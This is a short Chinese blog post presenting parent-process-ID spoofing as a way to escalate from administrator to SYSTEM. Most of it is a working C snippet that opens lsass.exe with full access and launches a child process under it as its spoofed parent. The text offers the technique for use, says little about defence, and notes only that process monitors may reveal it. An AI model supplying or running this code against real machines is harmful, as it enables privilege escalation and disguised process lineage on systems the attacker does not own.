首页 > 其他分享 >通过伪装PPID提权到SYSTEM

通过伪装PPID提权到SYSTEM

时间:2023-08-01 17:05:05浏览次数:38  
标签:NULL cbAttributeListSize sie hParentProcess SYSTEM 提权 pAttributeList 进程 PPID

通过伪装PPID提权到SYSTEM

PPID-Priv

 

 

简介

在指定父进程句柄的时候,子进程同时也会继承父进程的权限,这样的话我们也可以通过伪装PPID的方式进行提权,但是这样的技术会有一个较大的缺陷,如果使用process explorer等进程监控软件查看的话会显示在系统权限的进程下派生出了一个子进程,这样会有较大的特征,更容易会被发现,当然也可以通过其他技术手段进行为伪装。

ps:需要管理员权限

代码实现

1
 STARTUPINFOEX sie = { sizeof(sie) };
2
 PROCESS_INFORMATION pi;
3
 SIZE_T cbAttributeListSize = 0;
4
 PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
5
 HANDLE hParentProcess = NULL;
6
 DWORD dwPid = 0;
7

8
 dwPid = FindProcessPID(L"lsass.exe");
9

10
 InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
11
 pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
12
 InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
13
 hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
14
 UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL);
15

16
 sie.lpAttributeList = pAttributeList;
17
 CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&sie.StartupInfo, &pi);
18

19
 DeleteProcThreadAttributeList(pAttributeList);
20
 CloseHandle(hParentProcess);

 

Copied!

 

 

标签:NULL,cbAttributeListSize,sie,hParentProcess,SYSTEM,提权,pAttributeList,进程,PPID
From: https://blog.51cto.com/u_11908275/6924446

相关文章

  • 论文翻译:SSI-Net: A MULTI-STAGE SPEECH SIGNAL IMPROVEMENT SYSTEM FOR ICASSP 2023
    摘要ICASSP2023语音信号改善(SSI)挑战赛的重点是提高实时通信(RTC)系统的语音信号质量。本文介绍了提交ICASSP2023SSI挑战赛的语音信号改进网络(SSI-Net),该网络满足实时条件。提出的SSI-Net具有多阶段体系结构。在语音恢复的第一阶段,我们提出了时域恢复生成对抗网络(TRGA......
  • Android systemupdater
    1.systemupdater 位于packages\apps\Car\SystemUpdater\下,入口Activity为packages\apps\Car\SystemUpdater\src\com\android\car\systemupdater\SystemUpdaterActivity.java在onActivityCreated方法中执行升级包校验功能@OverridepublicvoidonActivityCreated(Bund......
  • Linux systemd配置
    介绍:systemd是Linux系统工具,用来启动守护进程,已成为大多数发行版的标准配置。它是一个初始化程序(init)和SystemV初始化脚本的现代替代者。Systemd可以接管后台服务、结束、状态查询,以及日志归档、设备管理、电源管理、定时任务等许多职责。Systemd是所有进程之母,负责将Linux主......
  • Windows提权小结
    当获取主机权限时,希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、BypassUAC提权、令牌窃取提权等姿势。个人认为在提权方面内核提权、土豆系列提权是比较效率而且成功率较高的,其他的提权方......
  • 提权
    提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如:IIS6,pr,巴西烤肉,Linux脏牛漏洞,Linux内核版本漏洞提权。1.Mysql提权,serv-u提权,Oracle提权2.Windows溢出提权3.Linux脏牛,内核漏洞提权 mysql两种提权方式 udf提权,mof提权......
  • Systemd教程
    title:"Systemd教程"date:2023-07-31T16:05:25+08:00tags:["Linux运维"]categories:[]draft:falseSystemd入门教程:实战篇-阮一峰的网络日志配置文件$systemctlcatsshd.service[Unit]Description=OpenSSHserverdaemonDocumentation=man:sshd(8)man:ssh......
  • SAP System Security & Authorizations 1
    SAPSystemSecurity&Authorizations1IntroductiontoSAPandimportantconceptsrelatedtoSAPSecuritySAP&itscomponentsintroductionSAP-SystemapplicationsandproductsindataprocessingERP-EnterpriseresourceplanningManufacturing......
  • MIT 6.S081 Lec14: File system
    Overview文件系统的设计目标就是组织和存储数据,文件系统一个比较重要功能是持久化,即重启之后,数据不会丢失。xv6通过把数据存储在virtiodisk上来实现持久化。文件系统设计的几大挑战:Thefilesystemneedson-diskdatastructurestorepresentthetreeofnameddirecto......
  • Mit6.s081 Lec15: xv6 的 logging system
    Logginglayerfilesystem设计的一大重要问题就是crashrecovery。这是因为文件系统操作往往涉及向磁盘多次写入,而几次写入之后的crash可能导致磁盘上的文件系统处于一个不一致的状态。Forexample,supposeacrashoccursduringfiletruncation(settingthelengthof......
  • C# system.Threading.Timer和system.Timers中的定时器
    它们都可以用于在指定时间间隔后执行代码。然而,它们在实现和用法上有一些差异。System.Threading.Timer:System.Threading.Timer是基于线程的定时器,它属于System.Threading命名空间。它使用ThreadPool线程来执行定时操作。以下是关于System.Threading.Timer的一些重要特......